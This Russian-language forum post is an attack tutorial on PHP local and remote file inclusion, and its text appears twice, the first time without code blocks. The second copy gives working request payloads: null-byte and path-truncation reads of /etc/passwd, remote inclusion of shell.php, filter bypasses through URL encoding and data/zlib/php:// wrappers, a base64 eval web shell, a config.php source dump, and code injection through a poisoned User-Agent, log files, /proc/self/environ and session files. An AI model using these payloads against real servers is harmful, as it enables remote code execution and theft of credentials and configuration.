- 238
- 248
- 21 Апр 2017
Внедрение PHP-кода (PHP Include) — это уязвимость, заключающаяся в возможности внедрения и выполнения произвольного кода на языке PHP.
Уязвимость возникает вследствие недостаточной проверки и контроля переменных, используемых внутри функций, осуществляющих подключение кода на этапе выполнения. Таких функций PHP всего четыре: include(), require(), include_once(), require_once().
Эксплуатируя данную уязвимость, существует возможность исполнения произвольного PHP-кода, а также чтения любых доступных файлов на веб-сервере, что в свою очередь позволяет получить контроль над веб-сервером.
Рассмотрим данную уязвимость наглядно на примере PHP-скрипта, содержащего следующую строку:
В данной строке происходит проверка переменной, полученной из HTTP GET параметра pаgе, и, если переменная не пустая, то происходит подключение и выполнение файла с именем, хранящимся в качестве значения этой переменной. Следует обратить внимание на то, что расширение подключаемого файла не имеет значения. Любой файл с любым расширением будет подключен и выполнен как РНР-скрипт, при этом, выполнен будет только код, заключенный в теги пхп (<?...?>), все остальное будет отображено в браузере в текстовом виде.
Классика. Null byte.
При этом часто встречается ситуация, когда в исходном коде к значению переменной добавляется расширение или дополнительный путь, что затрудняет выполнение и чтение произвольного локального файла или подключение произвольного файла с удаленного сервера. Например:
В этом случае, применяется классический прием отбрасывания расширения подключаемого файла с использованием "ядовитого нуля" (символа конца строки с кодом %00), основанный на том, что функции include(), require(), include_once(), require_once() не являются бинарно безопасными.
Однако, при включенной директиве интерпретатора PHP magic_quotes_gpc = ON, используемый в таких целях "ядовитый ноль" подвергается экранированию и, как следствие, становится неэффективным:
Универсальный null byte.
В такой ситуации, также существует возможность реализовать внедрение произвольного PHP-кода с использованием двух особенностей в функциях PHP, используемых для взаимодействия с файловой системой:
1. Нормализация пути. Интерпретатор PHP обрабатывает строку, содержащую путь до файла или папки, особым образом, в частности лишние символы «/» и «/.» удаляются.
2. Усечение пути. Интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
В результате можно составить запрос, содержащий в передаваемом серверу параметре необходимое число символов «/» или «/.»:
Количество символов «/» отличается на разных платформах, но в большинстве случаев максимальная длина полного пути (т.е. после преобразования относительного в абсолютный путь) равна 4096 байт.
Обход фильтрации протокола.
Удаленное внедрение PHP-кода (Remote PHP Include) — это уязвимость PHP Include, позволяющая выполнять в качестве PHP-скрипта любой доступный на чтение файл, расположенный на удаленном сервере.
Однако, встречаются ситуации, когда в приложении существует фильтрация удаленного подключения с использованием протоколов HTTP и FTP.
В этом случае можно воспользоваться тем, что реализации функций include(), require(), include_once(), require_once() позволяют подключать и исполнять файлы, доступные на удаленном сервере не только по протоколам HTTP и FTP, но и по протоколам HTTPS, FTPS и TFTP, что не отражено в официальной документации.
В некоторых случаях, например, когда фильтрация на уровне mod_rewrite в .htaccess
можно воспользоваться способом с применением URL ENCODE
Wrappers.
Если урлкодирование не помагает, то для обхода фильтрации протокола можно использовать различные упаковщики (Compression wrappers) типа zlib, bzip2 и т.д.
Существует еще одна обертка - Data Wrapper. Она может помочь в случае отключения вышеуказанных упаковщиков. В качестве параметров используется:
- указывается mime-тип данных;
- указывается, алгоритм сжатия.
Пример использования
где, PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4= есть <? eval($_REQUEST['cmd']); ?>.
Однако, в официальном мануале на использование данного способа накладывается следующее ограничение на атакуемый сервер, php.ini
allow_url_include = On
Хотя, как показывает, практика ограничение действует не всегда...
При этом, у данного способа есть один плюс, если при инклуде имеется расширение, его не надо отбрасывать ядовитым нулем, т.к. после символов == из бейз64, функции подключения кода перестают декодировать строку и всё лишнее отбросится.
Следующий метод особенно актуален в случаях, когда префикс 'http' фильтруется и упаковщики недоступны (bzip2, zlib).
В пхп существует несколько специальных оберток для работы с потоками (Stream Wrappers), в частности:
- php://stdin
- php://stdout
- php://stderr
- php://output
- php://input
- php://filter (available since PHP 5.0.0)
- php://memory (available since PHP 5.1.0)
- php://temp (available since PHP 5.1.0)
Некоторые из них могут быть использованы для передачи данных скрипту в обход всех фильтров.
Опять же, в официальном мануале на использование данного метода накладывается следующее ограничение на атакуемый сервер, php.ini
И, как показывает, практика ограничение действует не всегда...
Например, через обёртку потока входных данных php://input передаваемые POST данные становятся доступными, причём в сыром виде, то есть никакую фильтрацию они не проходят.
Остаётся лишь проинклудить поток, одновременно передав ему в переменной POST произвольный пхп-код.
Или с использованием обертки php://filter
Помимо этого, с помощью filter существует возможность чтения произвольных пхп файлов на сервере. Становится необходимым если конфиг хранится в пхп.
Классика. Local Include.
Наиболее частой причиной, по которой невозможно внедрить внешний файл, является наличие некоторой последовательности перед параметром, используемым внутри функции include(), на который мы можем воздействовать. Например:
Как правило, для внедрения произвольного кода в данном случае применяется классическая техника обхода жестких путей с использованием последовательностей для перемещения по каталогам «../» и «./». Другими словами, используя обход каталогов и отбрасывание присоединенной справа строки, существует возможность подключить и выполнить любой файл, находящийся на сервере:
Вместе с тем, часто возникает ситуация, когда необходимо выполнить целевой PHP-код на сервере, но при этом отсутствует возможность записи произвольных данных на сервер (например, отсутствует загрузка изображений и файлов).
В данной ситуации возможно применение классического подхода, основанного на внедрении произвольного PHP-кода в различные журналы регистрации событий сетевых приложений (лог-файлы), таких как HTTP- и FTP-серверы, и дальнейшего их подключения с использованием уязвимости локального внедрения PHP-кода. При таком подходе, как правило, возникают следующие трудности реализации:
- нестандартное размещение конфигурационных файлов и журналов регистрации событий в файловой системе;
- отсутствие права доступа на чтение к журналам регистрации событий.
ProcFS.
Для решения первой проблемы предлагается подход, основанный на использовании в низкоуровневых функциях ядра операционной системы файловых дескрипторов. В операционных системах семейства UNIX (за исключением семейства BSD систем) используется виртуальная файловая система procfs, которая по умолчанию монтируется в каталог /proc. Обращаясь к ее файлам можно работать с внутренними структурами ядра, получать различную информацию о процессах и изменять установки ядра "на лету". Иерархически структура каталогов и файлов, соответствующая запущенным в системе процессам и открытым в них файлов, представляется в виде /proc/pid/fd/n, где pid - идентификатор процесса, n - файловый дескриптор.
Для работы с текущим процессом используется зарезервированное слово self. Таким образом, в каталоге /proc/self содержится вся рабочая область текущего процесса, в случае с уязвимостью локального внедрения PHP-кода мы попадаем в окружение процесса HTTP-сервера. Следовательно, файлы, содержащие журналы регистрации событий, будут открыты и расположены в каталоге /proc/self/fd/n с именами от 1 до n. В результате, для внедрения и выполнения произвольного PHP-кода с использованием журналов регистрации неважно, где расположены конфигурационные файлы и журналы регистрации событий, достаточно перебрать значения от 1 до n.
Эмпирическим путем для большинства операционных систем семейства UNIX и HTTP-сервера Apache установлены следующие соответствия:
Необходимо отметить, что данный подход возможен, только в случае наличия прав доступа на чтение к файлам, содержащим журналы регистрации событий.
Помимо открытых процессом файловых потоков, можно воспользоваться переменными окружения текущего процесса/пользователя, которые расположены в /proc/self/environ.
Например, предварительно подготовив свой User-Agent
мы можем его проинклудить
Файлы сессий.
В ситуации, когда журналы регистрации событий не доступны для чтения, для реализации внедрения PHP-кода предлагается подход, основанный на использовании файлов сеансов (Session). При идентификации пользователей веб-приложения, как правило, присваивают каждому новому пользователю уникальные идентификаторы (Session IDentifier, SID). Для этого обычно используются встроенные в интерпретатор PHP функции для работы с сеансами (session_start(), session_id() и т.д.).
При присвоении пользователю уникального идентификатора без какой-либо фильтрации входящего содержимого и независимо от способа передачи (в параметрах GET, POST или COOKIE HTTP-запроса) на сервере будет создан файл сеанса. Файл сеанса будет создан в каталоге, определенном директивой session.save_path конфигурационного файла php.ini интерпретатора PHP (по умолчанию session.save_path = /tmp). Имя созданного файла сеанса будет иметь вид sess_sid, где sid - уникальный идентификатор, который доступен из соответствующих параметров HTTP-запроса.
Как правило, можно напрямую или косвенно влиять на содержимое файла своего сеанса, и данный файл всегда доступен на чтение и запись. В результате, можно осуществить внедрение и выполнение произвольного PHP-кода с использованием уязвимости Local PHP Include.
Заключение.
В заключении необходимо отметить, что применение подходов, основанных на усечении и нормализации пути, использовании виртуальной файловой системы procfs и файлов сеансов, а также классических решений в совокупности позволит провести успешную атаку на основе PHP Include в различных ситуациях, в том числе, в ситуации, когда директива конфигурационного файла интерпретатора PHP magic_quotes = ON.
Уязвимость возникает вследствие недостаточной проверки и контроля переменных, используемых внутри функций, осуществляющих подключение кода на этапе выполнения. Таких функций PHP всего четыре: include(), require(), include_once(), require_once().
Эксплуатируя данную уязвимость, существует возможность исполнения произвольного PHP-кода, а также чтения любых доступных файлов на веб-сервере, что в свою очередь позволяет получить контроль над веб-сервером.
Рассмотрим данную уязвимость наглядно на примере PHP-скрипта, содержащего следующую строку:
PHP:
<?php if(!empty($_GET['page'])) include($_GET['page']); ?>
В данной строке происходит проверка переменной, полученной из HTTP GET параметра pаgе, и, если переменная не пустая, то происходит подключение и выполнение файла с именем, хранящимся в качестве значения этой переменной. Следует обратить внимание на то, что расширение подключаемого файла не имеет значения. Любой файл с любым расширением будет подключен и выполнен как РНР-скрипт, при этом, выполнен будет только код, заключенный в теги пхп (<?...?>), все остальное будет отображено в браузере в текстовом виде.
Классика. Null byte.
При этом часто встречается ситуация, когда в исходном коде к значению переменной добавляется расширение или дополнительный путь, что затрудняет выполнение и чтение произвольного локального файла или подключение произвольного файла с удаленного сервера. Например:
Код:
<?php include($_GET['page'].".txt");?>
В этом случае, применяется классический прием отбрасывания расширения подключаемого файла с использованием "ядовитого нуля" (символа конца строки с кодом %00), основанный на том, что функции include(), require(), include_once(), require_once() не являются бинарно безопасными.
Код:
index.php?page=/etc/passwd%00 –> include(/etc/passwd)
Однако, при включенной директиве интерпретатора PHP magic_quotes_gpc = ON, используемый в таких целях "ядовитый ноль" подвергается экранированию и, как следствие, становится неэффективным:
Код:
index.php?page=/etc/passwd%00 –> include(/etc/passwd\0)
Универсальный null byte.
В такой ситуации, также существует возможность реализовать внедрение произвольного PHP-кода с использованием двух особенностей в функциях PHP, используемых для взаимодействия с файловой системой:
1. Нормализация пути. Интерпретатор PHP обрабатывает строку, содержащую путь до файла или папки, особым образом, в частности лишние символы «/» и «/.» удаляются.
2. Усечение пути. Интерпретатор PHP в зависимости от платформы имеет ограничение на длину пути, определяемое константой MAX_PATH, в результате чего все символы, находящиеся за пределами этого значения, отбрасываются.
В результате можно составить запрос, содержащий в передаваемом серверу параметре необходимое число символов «/» или «/.»:
Код:
index.php?page=/etc/passwd//[…]// –> include(/etc/passwd)
Количество символов «/» отличается на разных платформах, но в большинстве случаев максимальная длина полного пути (т.е. после преобразования относительного в абсолютный путь) равна 4096 байт.
Обход фильтрации протокола.
Удаленное внедрение PHP-кода (Remote PHP Include) — это уязвимость PHP Include, позволяющая выполнять в качестве PHP-скрипта любой доступный на чтение файл, расположенный на удаленном сервере.
Однако, встречаются ситуации, когда в приложении существует фильтрация удаленного подключения с использованием протоколов HTTP и FTP.
В этом случае можно воспользоваться тем, что реализации функций include(), require(), include_once(), require_once() позволяют подключать и исполнять файлы, доступные на удаленном сервере не только по протоколам HTTP и FTP, но и по протоколам HTTPS, FTPS и TFTP, что не отражено в официальной документации.
Код:
index.php?page=https://site/shell.php? –> include(https://site/shell.php)
В некоторых случаях, например, когда фильтрация на уровне mod_rewrite в .htaccess
Код:
RewriteCond %{QUERY_STRING} (.*)=http(.*) [NC,OR]
RewriteCond %{QUERY_STRING} (.*)=ftp(.*) [NC,OR]
можно воспользоваться способом с применением URL ENCODE
Код:
index.php?page=%68ttp://site/shell.php? –> include(http://site/shell.php)
Wrappers.
Если урлкодирование не помагает, то для обхода фильтрации протокола можно использовать различные упаковщики (Compression wrappers) типа zlib, bzip2 и т.д.
Код:
index.php?page=zlib:http://site/shell.php? –> include(zlib:http://site/shell.php)
Существует еще одна обертка - Data Wrapper. Она может помочь в случае отключения вышеуказанных упаковщиков. В качестве параметров используется:
- указывается mime-тип данных;
- указывается, алгоритм сжатия.
Пример использования
Код:
index.php?page=data:application/x-httpd-php;base64,PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4=&cmd=phpinfo()
где, PD8gZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4= есть <? eval($_REQUEST['cmd']); ?>.
Однако, в официальном мануале на использование данного способа накладывается следующее ограничение на атакуемый сервер, php.ini
allow_url_include = On
Хотя, как показывает, практика ограничение действует не всегда...
При этом, у данного способа есть один плюс, если при инклуде имеется расширение, его не надо отбрасывать ядовитым нулем, т.к. после символов == из бейз64, функции подключения кода перестают декодировать строку и всё лишнее отбросится.
Следующий метод особенно актуален в случаях, когда префикс 'http' фильтруется и упаковщики недоступны (bzip2, zlib).
В пхп существует несколько специальных оберток для работы с потоками (Stream Wrappers), в частности:
- php://stdin
- php://stdout
- php://stderr
- php://output
- php://input
- php://filter (available since PHP 5.0.0)
- php://memory (available since PHP 5.1.0)
- php://temp (available since PHP 5.1.0)
Некоторые из них могут быть использованы для передачи данных скрипту в обход всех фильтров.
Опять же, в официальном мануале на использование данного метода накладывается следующее ограничение на атакуемый сервер, php.ini
Код:
allow_url_include = On (PHP >= 5.1.0)
Например, через обёртку потока входных данных php://input передаваемые POST данные становятся доступными, причём в сыром виде, то есть никакую фильтрацию они не проходят.
Остаётся лишь проинклудить поток, одновременно передав ему в переменной POST произвольный пхп-код.
Или с использованием обертки php://filter
Код:
index.php?page=php://filter/resource=http://www.site.com/shell.txt
Помимо этого, с помощью filter существует возможность чтения произвольных пхп файлов на сервере. Становится необходимым если конфиг хранится в пхп.
Код:
index.php?page=php://filter/convert.base64-encode/resource=config.php
Классика. Local Include.
Наиболее частой причиной, по которой невозможно внедрить внешний файл, является наличие некоторой последовательности перед параметром, используемым внутри функции include(), на который мы можем воздействовать. Например:
Код:
<?php include("/www/html/include/".$_GET['page'].".php");?>
Как правило, для внедрения произвольного кода в данном случае применяется классическая техника обхода жестких путей с использованием последовательностей для перемещения по каталогам «../» и «./». Другими словами, используя обход каталогов и отбрасывание присоединенной справа строки, существует возможность подключить и выполнить любой файл, находящийся на сервере:
Код:
index.php?page=../../../etc/passwd%00 –> include(/etc/passwd)
Вместе с тем, часто возникает ситуация, когда необходимо выполнить целевой PHP-код на сервере, но при этом отсутствует возможность записи произвольных данных на сервер (например, отсутствует загрузка изображений и файлов).
В данной ситуации возможно применение классического подхода, основанного на внедрении произвольного PHP-кода в различные журналы регистрации событий сетевых приложений (лог-файлы), таких как HTTP- и FTP-серверы, и дальнейшего их подключения с использованием уязвимости локального внедрения PHP-кода. При таком подходе, как правило, возникают следующие трудности реализации:
- нестандартное размещение конфигурационных файлов и журналов регистрации событий в файловой системе;
- отсутствие права доступа на чтение к журналам регистрации событий.
ProcFS.
Для решения первой проблемы предлагается подход, основанный на использовании в низкоуровневых функциях ядра операционной системы файловых дескрипторов. В операционных системах семейства UNIX (за исключением семейства BSD систем) используется виртуальная файловая система procfs, которая по умолчанию монтируется в каталог /proc. Обращаясь к ее файлам можно работать с внутренними структурами ядра, получать различную информацию о процессах и изменять установки ядра "на лету". Иерархически структура каталогов и файлов, соответствующая запущенным в системе процессам и открытым в них файлов, представляется в виде /proc/pid/fd/n, где pid - идентификатор процесса, n - файловый дескриптор.
Для работы с текущим процессом используется зарезервированное слово self. Таким образом, в каталоге /proc/self содержится вся рабочая область текущего процесса, в случае с уязвимостью локального внедрения PHP-кода мы попадаем в окружение процесса HTTP-сервера. Следовательно, файлы, содержащие журналы регистрации событий, будут открыты и расположены в каталоге /proc/self/fd/n с именами от 1 до n. В результате, для внедрения и выполнения произвольного PHP-кода с использованием журналов регистрации неважно, где расположены конфигурационные файлы и журналы регистрации событий, достаточно перебрать значения от 1 до n.
Код:
index.php?page=../../../proc/self/fd/2%00 –> include(/var/log/httpd/access.log)
Эмпирическим путем для большинства операционных систем семейства UNIX и HTTP-сервера Apache установлены следующие соответствия:
Код:
/proc/self/fd/2 –> error.log
/proc/self/fd/8 –> access.log
Помимо открытых процессом файловых потоков, можно воспользоваться переменными окружения текущего процесса/пользователя, которые расположены в /proc/self/environ.
Например, предварительно подготовив свой User-Agent
Код:
User-Agent: <?php system($_REQUEST['cmd']); ?>
мы можем его проинклудить
Код:
index.php?page=../../../proc/self/environ%00 –> include(/proc/self/environ)
Файлы сессий.
В ситуации, когда журналы регистрации событий не доступны для чтения, для реализации внедрения PHP-кода предлагается подход, основанный на использовании файлов сеансов (Session). При идентификации пользователей веб-приложения, как правило, присваивают каждому новому пользователю уникальные идентификаторы (Session IDentifier, SID). Для этого обычно используются встроенные в интерпретатор PHP функции для работы с сеансами (session_start(), session_id() и т.д.).
При присвоении пользователю уникального идентификатора без какой-либо фильтрации входящего содержимого и независимо от способа передачи (в параметрах GET, POST или COOKIE HTTP-запроса) на сервере будет создан файл сеанса. Файл сеанса будет создан в каталоге, определенном директивой session.save_path конфигурационного файла php.ini интерпретатора PHP (по умолчанию session.save_path = /tmp). Имя созданного файла сеанса будет иметь вид sess_sid, где sid - уникальный идентификатор, который доступен из соответствующих параметров HTTP-запроса.
Код:
index.php?page=../../../tmp/sess_123456789%00 –> include(/tmp/sess_123456789)
Как правило, можно напрямую или косвенно влиять на содержимое файла своего сеанса, и данный файл всегда доступен на чтение и запись. В результате, можно осуществить внедрение и выполнение произвольного PHP-кода с использованием уязвимости Local PHP Include.
Заключение.
В заключении необходимо отметить, что применение подходов, основанных на усечении и нормализации пути, использовании виртуальной файловой системы procfs и файлов сеансов, а также классических решений в совокупности позволит провести успешную атаку на основе PHP Include в различных ситуациях, в том числе, в ситуации, когда директива конфигурационного файла интерпретатора PHP magic_quotes = ON.